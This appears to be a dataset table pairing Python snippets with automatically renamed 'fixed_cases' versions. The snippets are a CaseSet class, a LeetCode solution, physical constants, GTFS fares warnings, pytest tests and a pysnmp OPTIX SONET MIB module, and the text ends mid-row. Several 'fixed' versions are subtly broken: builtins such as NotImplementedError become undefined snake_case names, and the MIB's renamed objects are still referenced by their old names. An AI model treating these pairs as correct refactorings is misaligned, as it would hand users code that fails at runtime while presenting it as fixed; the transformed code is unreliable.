content
stringlengths
7
1.05M
fixed_cases
stringlengths
1
1.28M
# Interface for a "set" of cases class CaseSet: def __init__(self, time): self.time = time def __len__(self): raise NotImplementedError() def iterator(self): raise NotImplementedError() def get_time(self): return self.time def set_time(self, time): self.time = time
class Caseset: def __init__(self, time): self.time = time def __len__(self): raise not_implemented_error() def iterator(self): raise not_implemented_error() def get_time(self): return self.time def set_time(self, time): self.time = time
def array_count9(nums): count = 0 # Standard loop to look at each value for num in nums: if num == 9: count = count + 1 return count
def array_count9(nums): count = 0 for num in nums: if num == 9: count = count + 1 return count
# # @lc app=leetcode id=747 lang=python3 # # [747] Largest Number At Least Twice of Others # # https://leetcode.com/problems/largest-number-at-least-twice-of-others/description/ # # algorithms # Easy (40.25%) # Total Accepted: 47.6K # Total Submissions: 118K # Testcase Example: '[0,0,0,1]' # # In a given integer array nums, there is always exactly one largest element. # # Find whether the largest element in the array is at least twice as much as # every other number in the array. # # If it is, return the index of the largest element, otherwise return -1. # # Example 1: # # # Input: nums = [3, 6, 1, 0] # Output: 1 # Explanation: 6 is the largest integer, and for every other number in the # array x, # 6 is more than twice as big as x. The index of value 6 is 1, so we return # 1. # # # # # Example 2: # # # Input: nums = [1, 2, 3, 4] # Output: -1 # Explanation: 4 isn't at least as big as twice the value of 3, so we return # -1. # # # # # Note: # # # nums will have a length in the range [1, 50]. # Every nums[i] will be an integer in the range [0, 99]. # # # # # class Solution: def dominantIndex(self, nums: List[int]) -> int: indexmax1 = 0 max1 = 0 indexmax = 0 max = 0 for i in range(len(nums)): if nums[i] > max: max1 = max indexmax1 = indexmax max = nums[i] indexmax = i elif nums[i] > max1: max1 = nums[i] indexmax1 = i return indexmax if max >= 2*max1 else -1
class Solution: def dominant_index(self, nums: List[int]) -> int: indexmax1 = 0 max1 = 0 indexmax = 0 max = 0 for i in range(len(nums)): if nums[i] > max: max1 = max indexmax1 = indexmax max = nums[i] indexmax = i elif nums[i] > max1: max1 = nums[i] indexmax1 = i return indexmax if max >= 2 * max1 else -1
# Speed of light in m/s speed_light = 299792458 # J s Planck_constant = 6.626e-34 # m Wavelenght of band V wavelenght_visual = 550e-9 # flux density (Jy) in V for a 0 mag star Fv = 3640.0 # photons s-1 m-2 in Jy Jy = 1.51e7 #1 rad = 57.3 grad RAD = 57.29578 # 1 AU ib cn AU = 149.59787e11 # Radius in cm R_Earth = 6378.e5 R_MOON = 1737.4e5 atmosphere = 100.e5 # Julian day corresponding to the beginning of 2018 JD_2018 = 2458119.5 # km in cm KM = 1.e5 # m2 in cm2 M2 = 1.e4 # Gravitational constant in N (m/kg)2 G = 6.67384e-11 # Gravitational parameter (mu = G *M) for Earth in m^3/s^2 mu_Earth = 3.986e14 # Timestamp for the initial time in the simulation # timestamp 2018-01-01 00:00 (GMT as used in STK) (valid for Python/Unix) # timestamp_2018_01_01 = 1514764800 timestamp_2018_01_01 = 1514764800 sideral_day = 23.9344696 #[h] version = '0.8'
speed_light = 299792458 planck_constant = 6.626e-34 wavelenght_visual = 5.5e-07 fv = 3640.0 jy = 15100000.0 rad = 57.29578 au = 14959787000000.0 r__earth = 637800000.0 r_moon = 173740000.0 atmosphere = 10000000.0 jd_2018 = 2458119.5 km = 100000.0 m2 = 10000.0 g = 6.67384e-11 mu__earth = 398600000000000.0 timestamp_2018_01_01 = 1514764800 sideral_day = 23.9344696 version = '0.8'
factors = [1, 2, 4] pads = [32, 64, 128, 256, 512] gen_scope = "gen" dis_scope = "dis" outputs_prefix = "output_" lr_key = "lr" hr_key = "hr" lr_input_name = "lr_input" hr_input_name = "hr_input" pretrain_key = "pretrain" train_key = "train" epoch_key = "per_epoch"
factors = [1, 2, 4] pads = [32, 64, 128, 256, 512] gen_scope = 'gen' dis_scope = 'dis' outputs_prefix = 'output_' lr_key = 'lr' hr_key = 'hr' lr_input_name = 'lr_input' hr_input_name = 'hr_input' pretrain_key = 'pretrain' train_key = 'train' epoch_key = 'per_epoch'
# generic warnings UNEXPECTED_FIELDS = 'A GTFS fares-v2 file has column name(s) not defined in the specification.' UNUSED_AREA_IDS = 'Areas defined in areas.txt are unused in other fares files.' UNUSED_NETWORK_IDS = 'Networks defined in routes.txt are unused in other fares files.' UNUSED_TIMEFRAME_IDS = 'Timeframes defined in timeframes.txt are unused in other fares files.' # areas.txt NO_AREAS = 'No areas.txt was found, will assume no areas exist.' # routes.txt NO_ROUTES = 'No routes.txt was found, will assume no networks exist.' # stops.txt NO_STOPS = 'No stops.txt was found, will assume stops.txt does not reference any areas.' UNUSED_AREAS_IN_STOPS = 'Areas defined in areas.txt are unused in stops.txt or stop_times.txt.' # calendar.txt, calendar_dates.txt NO_SERVICE_IDS = 'Neither calendar.txt or calendar_dates.txt was found, will assume no service_ids for fares data.' # timeframes.txt NO_TIMEFRAMES = 'No timeframes.txt was found, will assume no timeframes exist.' # rider_categories.txt MAX_AGE_LESS_THAN_MIN_AGE = 'An entry in rider_categories.txt has max_age less than or equal to min_age.' NO_RIDER_CATEGORIES = 'No rider_categories.txt was found, will assume no rider_categories exist.' VERY_LARGE_MAX_AGE = 'An entry in rider_categories.txt has a very large max_age.' VERY_LARGE_MIN_AGE = 'An entry in rider_categories.txt has a very large min_age.' # fare_containers.txt NO_FARE_CONTAINERS = 'No fare_containers.txt was found, will assume no fare_containers exist.' # fare_products.txt NO_FARE_PRODUCTS = 'No fare_products.txt was found, will assume no fare_products exist.' OFFSET_AMOUNT_WITHOUT_OFFSET_UNIT = 'An offset_amount in fare_products.txt is defined without an offset_unit, so duration_unit will be used.' # fare_leg_rules.txt NO_FARE_LEG_RULES = 'No fare_leg_rules.txt was found, will assume no fare_leg_rules exist.' # fare_transfer_rules.txt NO_FARE_TRANSFER_RULES = 'No fare_transfer_rules.txt was found, will assume no fare_transfer_rules exist.' UNUSED_LEG_GROUPS = 'Leg groups defined in fare_leg_rules.txt are unused in fare_transfer_rules.txt.'
unexpected_fields = 'A GTFS fares-v2 file has column name(s) not defined in the specification.' unused_area_ids = 'Areas defined in areas.txt are unused in other fares files.' unused_network_ids = 'Networks defined in routes.txt are unused in other fares files.' unused_timeframe_ids = 'Timeframes defined in timeframes.txt are unused in other fares files.' no_areas = 'No areas.txt was found, will assume no areas exist.' no_routes = 'No routes.txt was found, will assume no networks exist.' no_stops = 'No stops.txt was found, will assume stops.txt does not reference any areas.' unused_areas_in_stops = 'Areas defined in areas.txt are unused in stops.txt or stop_times.txt.' no_service_ids = 'Neither calendar.txt or calendar_dates.txt was found, will assume no service_ids for fares data.' no_timeframes = 'No timeframes.txt was found, will assume no timeframes exist.' max_age_less_than_min_age = 'An entry in rider_categories.txt has max_age less than or equal to min_age.' no_rider_categories = 'No rider_categories.txt was found, will assume no rider_categories exist.' very_large_max_age = 'An entry in rider_categories.txt has a very large max_age.' very_large_min_age = 'An entry in rider_categories.txt has a very large min_age.' no_fare_containers = 'No fare_containers.txt was found, will assume no fare_containers exist.' no_fare_products = 'No fare_products.txt was found, will assume no fare_products exist.' offset_amount_without_offset_unit = 'An offset_amount in fare_products.txt is defined without an offset_unit, so duration_unit will be used.' no_fare_leg_rules = 'No fare_leg_rules.txt was found, will assume no fare_leg_rules exist.' no_fare_transfer_rules = 'No fare_transfer_rules.txt was found, will assume no fare_transfer_rules exist.' unused_leg_groups = 'Leg groups defined in fare_leg_rules.txt are unused in fare_transfer_rules.txt.'
def test_contacts_on_home_page(app): contact_from_home_page = app.contact.get_contacts_list()[1] contact_from_edit_page = app.contact.get_info_from_edit_page(1) assert contact_from_edit_page.email_1 == contact_from_home_page.email_1 assert contact_from_edit_page.email_2 == contact_from_home_page.email_2 assert contact_from_edit_page.email_3 == contact_from_home_page.email_3 def test_phones_on_home_page(app): phones_from_home_page = app.contact.get_contacts_list()[1] phones_from_edit_page = app.contact.get_info_from_edit_page(1) assert phones_from_edit_page.work_phone == phones_from_home_page.work_phone assert phones_from_edit_page.home_phone == phones_from_home_page.home_phone assert phones_from_edit_page.mobile_phone == phones_from_home_page.mobile_phone
def test_contacts_on_home_page(app): contact_from_home_page = app.contact.get_contacts_list()[1] contact_from_edit_page = app.contact.get_info_from_edit_page(1) assert contact_from_edit_page.email_1 == contact_from_home_page.email_1 assert contact_from_edit_page.email_2 == contact_from_home_page.email_2 assert contact_from_edit_page.email_3 == contact_from_home_page.email_3 def test_phones_on_home_page(app): phones_from_home_page = app.contact.get_contacts_list()[1] phones_from_edit_page = app.contact.get_info_from_edit_page(1) assert phones_from_edit_page.work_phone == phones_from_home_page.work_phone assert phones_from_edit_page.home_phone == phones_from_home_page.home_phone assert phones_from_edit_page.mobile_phone == phones_from_home_page.mobile_phone
# # PySNMP MIB module OPTIX-SONET-EQPTMGT-MIB-V2 (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/OPTIX-SONET-EQPTMGT-MIB-V2 # Produced by pysmi-0.3.4 at Mon Apr 29 20:26:05 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "OctetString", "Integer", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsIntersection, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "ValueSizeConstraint", "SingleValueConstraint", "ValueRangeConstraint", "ConstraintsUnion") optixProvisionSonet, = mibBuilder.importSymbols("OPTIX-OID-MIB", "optixProvisionSonet") NotificationGroup, ObjectGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ObjectGroup", "ModuleCompliance") Integer32, Unsigned32, NotificationType, ModuleIdentity, Bits, Counter32, IpAddress, Counter64, ObjectIdentity, Gauge32, iso, MibScalar, MibTable, MibTableRow, MibTableColumn, TimeTicks, MibIdentifier = mibBuilder.importSymbols("SNMPv2-SMI", "Integer32", "Unsigned32", "NotificationType", "ModuleIdentity", "Bits", "Counter32", "IpAddress", "Counter64", "ObjectIdentity", "Gauge32", "iso", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "TimeTicks", "MibIdentifier") TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString") optixsonetEqptMgt = ModuleIdentity((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3)) if mibBuilder.loadTexts: optixsonetEqptMgt.setLastUpdated('200605232006Z') if mibBuilder.loadTexts: optixsonetEqptMgt.setOrganization('Your organization') class IntfType(TextualConvention, Integer32): status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 10, 12, 13, 17, 65, 100, 254)) namedValues = NamedValues(("ds1-asyn-vt1", 1), ("ds3-asyn-sts1", 10), ("ec", 12), ("ds3-tmux-ds1", 13), ("ds3-srv-ds1", 17), ("uas", 65), ("mix", 100), ("invalid", 254)) optixsonetCardInfoTable = MibTable((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1), ) if mibBuilder.loadTexts: optixsonetCardInfoTable.setStatus('current') optixsonetCardInfoEntry = MibTableRow((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1), ).setIndexNames((0, "OPTIX-SONET-EQPTMGT-MIB-V2", "cardIndexSlotId"), (0, "OPTIX-SONET-EQPTMGT-MIB-V2", "cardIndexSfpId")) if mibBuilder.loadTexts: optixsonetCardInfoEntry.setStatus('current') cardIndexSlotId = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 1), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cardIndexSlotId.setStatus('current') cardIndexSfpId = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 2), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cardIndexSfpId.setStatus('current') cardProvisionType = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardProvisionType.setStatus('current') cardPhysicalType = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardPhysicalType.setStatus('current') cardInterfaceType = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 5), IntfType()).setMaxAccess("readonly") if mibBuilder.loadTexts: cardInterfaceType.setStatus('current') cardBandwidth = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cardBandwidth.setStatus('current') cardSerialNum = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 7), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardSerialNum.setStatus('current') cardCLEICode = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 8), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardCLEICode.setStatus('current') cardPartNum = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 9), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 20))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardPartNum.setStatus('current') cardDOM = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 10), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardDOM.setStatus('current') cardPCBVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 11), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardPCBVersion.setStatus('current') cardSWVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 12), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardSWVersion.setStatus('current') cardFPGAVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 13), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardFPGAVersion.setStatus('current') cardEPLDVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 14), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 8))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardEPLDVersion.setStatus('current') cardBIOSVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 15), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardBIOSVersion.setStatus('current') cardMAC = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 16), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardMAC.setStatus('current') cardPSTState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 17), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardPSTState.setStatus('current') cardSSTState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 18), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardSSTState.setStatus('current') cardTPSPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 19), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cardTPSPriority.setStatus('current') cardSwitchState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 20), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 254, 255))).clone(namedValues=NamedValues(("stateDNR", 1), ("stateWTR", 2), ("stateMAN", 3), ("stateAUTOSW", 4), ("stateFRCD", 5), ("stateLOCK", 6), ("stateINVALID", 254), ("stateIDLE", 255)))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardSwitchState.setStatus('current') cardDescription = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 21), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardDescription.setStatus('current') optixsonetEqptMgtConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2)) optixsonetEqptMgtGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 1)) currentObjectGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 1, 1)).setObjects(("OPTIX-SONET-EQPTMGT-MIB-V2", "cardIndexSlotId"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardIndexSfpId"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardProvisionType"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardPhysicalType"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardInterfaceType"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardBandwidth"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardSerialNum"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardCLEICode"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardPartNum"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardDOM"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardPCBVersion"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardSWVersion"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardFPGAVersion"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardEPLDVersion"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardBIOSVersion"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardMAC"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardPSTState"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardSSTState"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardTPSPriority"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardSwitchState"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardDescription")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): currentObjectGroup = currentObjectGroup.setStatus('current') optixsonetEqptMgtCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 2)) basicCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 2, 1)).setObjects(("OPTIX-SONET-EQPTMGT-MIB-V2", "currentObjectGroup")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): basicCompliance = basicCompliance.setStatus('current') mibBuilder.exportSymbols("OPTIX-SONET-EQPTMGT-MIB-V2", cardTPSPriority=cardTPSPriority, cardIndexSlotId=cardIndexSlotId, cardDOM=cardDOM, cardEPLDVersion=cardEPLDVersion, cardSerialNum=cardSerialNum, cardInterfaceType=cardInterfaceType, cardDescription=cardDescription, optixsonetEqptMgtGroups=optixsonetEqptMgtGroups, cardSSTState=cardSSTState, basicCompliance=basicCompliance, optixsonetCardInfoTable=optixsonetCardInfoTable, cardBandwidth=cardBandwidth, cardSWVersion=cardSWVersion, cardMAC=cardMAC, cardPSTState=cardPSTState, PYSNMP_MODULE_ID=optixsonetEqptMgt, cardPhysicalType=cardPhysicalType, optixsonetEqptMgt=optixsonetEqptMgt, cardPartNum=cardPartNum, cardBIOSVersion=cardBIOSVersion, cardFPGAVersion=cardFPGAVersion, cardPCBVersion=cardPCBVersion, currentObjectGroup=currentObjectGroup, cardSwitchState=cardSwitchState, optixsonetCardInfoEntry=optixsonetCardInfoEntry, cardCLEICode=cardCLEICode, cardProvisionType=cardProvisionType, optixsonetEqptMgtConformance=optixsonetEqptMgtConformance, cardIndexSfpId=cardIndexSfpId, IntfType=IntfType, optixsonetEqptMgtCompliances=optixsonetEqptMgtCompliances)
(octet_string, integer, object_identifier) = mibBuilder.importSymbols('ASN1', 'OctetString', 'Integer', 'ObjectIdentifier') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (constraints_intersection, value_size_constraint, single_value_constraint, value_range_constraint, constraints_union) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ConstraintsIntersection', 'ValueSizeConstraint', 'SingleValueConstraint', 'ValueRangeConstraint', 'ConstraintsUnion') (optix_provision_sonet,) = mibBuilder.importSymbols('OPTIX-OID-MIB', 'optixProvisionSonet') (notification_group, object_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ObjectGroup', 'ModuleCompliance') (integer32, unsigned32, notification_type, module_identity, bits, counter32, ip_address, counter64, object_identity, gauge32, iso, mib_scalar, mib_table, mib_table_row, mib_table_column, time_ticks, mib_identifier) = mibBuilder.importSymbols('SNMPv2-SMI', 'Integer32', 'Unsigned32', 'NotificationType', 'ModuleIdentity', 'Bits', 'Counter32', 'IpAddress', 'Counter64', 'ObjectIdentity', 'Gauge32', 'iso', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'TimeTicks', 'MibIdentifier') (textual_convention, display_string) = mibBuilder.importSymbols('SNMPv2-TC', 'TextualConvention', 'DisplayString') optixsonet_eqpt_mgt = module_identity((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3)) if mibBuilder.loadTexts: optixsonetEqptMgt.setLastUpdated('200605232006Z') if mibBuilder.loadTexts: optixsonetEqptMgt.setOrganization('Your organization') class Intftype(TextualConvention, Integer32): status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 10, 12, 13, 17, 65, 100, 254)) named_values = named_values(('ds1-asyn-vt1', 1), ('ds3-asyn-sts1', 10), ('ec', 12), ('ds3-tmux-ds1', 13), ('ds3-srv-ds1', 17), ('uas', 65), ('mix', 100), ('invalid', 254)) optixsonet_card_info_table = mib_table((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1)) if mibBuilder.loadTexts: optixsonetCardInfoTable.setStatus('current') optixsonet_card_info_entry = mib_table_row((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1)).setIndexNames((0, 'OPTIX-SONET-EQPTMGT-MIB-V2', 'cardIndexSlotId'), (0, 'OPTIX-SONET-EQPTMGT-MIB-V2', 'cardIndexSfpId')) if mibBuilder.loadTexts: optixsonetCardInfoEntry.setStatus('current') card_index_slot_id = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 1), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cardIndexSlotId.setStatus('current') card_index_sfp_id = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 2), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cardIndexSfpId.setStatus('current') card_provision_type = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 3), octet_string().subtype(subtypeSpec=value_size_constraint(0, 16))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardProvisionType.setStatus('current') card_physical_type = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 4), octet_string().subtype(subtypeSpec=value_size_constraint(0, 64))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardPhysicalType.setStatus('current') card_interface_type = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 5), intf_type()).setMaxAccess('readonly') if mibBuilder.loadTexts: cardInterfaceType.setStatus('current') card_bandwidth = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 6), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cardBandwidth.setStatus('current') card_serial_num = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 7), octet_string().subtype(subtypeSpec=value_size_constraint(0, 32))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardSerialNum.setStatus('current') card_clei_code = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 8), octet_string().subtype(subtypeSpec=value_size_constraint(0, 16))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardCLEICode.setStatus('current') card_part_num = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 9), octet_string().subtype(subtypeSpec=value_size_constraint(0, 20))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardPartNum.setStatus('current') card_dom = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 10), octet_string().subtype(subtypeSpec=value_size_constraint(0, 16))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardDOM.setStatus('current') card_pcb_version = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 11), octet_string().subtype(subtypeSpec=value_size_constraint(0, 16))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardPCBVersion.setStatus('current') card_sw_version = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 12), octet_string().subtype(subtypeSpec=value_size_constraint(0, 64))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardSWVersion.setStatus('current') card_fpga_version = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 13), octet_string().subtype(subtypeSpec=value_size_constraint(0, 32))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardFPGAVersion.setStatus('current') card_epld_version = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 14), octet_string().subtype(subtypeSpec=value_size_constraint(0, 8))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardEPLDVersion.setStatus('current') card_bios_version = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 15), octet_string().subtype(subtypeSpec=value_size_constraint(0, 64))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardBIOSVersion.setStatus('current') card_mac = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 16), octet_string().subtype(subtypeSpec=value_size_constraint(0, 32))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardMAC.setStatus('current') card_pst_state = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 17), octet_string().subtype(subtypeSpec=value_size_constraint(0, 16))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardPSTState.setStatus('current') card_sst_state = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 18), octet_string().subtype(subtypeSpec=value_size_constraint(0, 32))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardSSTState.setStatus('current') card_tps_priority = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 19), gauge32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cardTPSPriority.setStatus('current') card_switch_state = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 20), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 254, 255))).clone(namedValues=named_values(('stateDNR', 1), ('stateWTR', 2), ('stateMAN', 3), ('stateAUTOSW', 4), ('stateFRCD', 5), ('stateLOCK', 6), ('stateINVALID', 254), ('stateIDLE', 255)))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardSwitchState.setStatus('current') card_description = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 21), octet_string().subtype(subtypeSpec=value_size_constraint(0, 64))).setMaxAccess('readonly') if mibBuilder.loadTexts: cardDescription.setStatus('current') optixsonet_eqpt_mgt_conformance = mib_identifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2)) optixsonet_eqpt_mgt_groups = mib_identifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 1)) current_object_group = object_group((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 1, 1)).setObjects(('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardIndexSlotId'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardIndexSfpId'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardProvisionType'), ('OPTIX-SONET-EQPTMGT-MIB-V2', 'cardPhysicalType'), 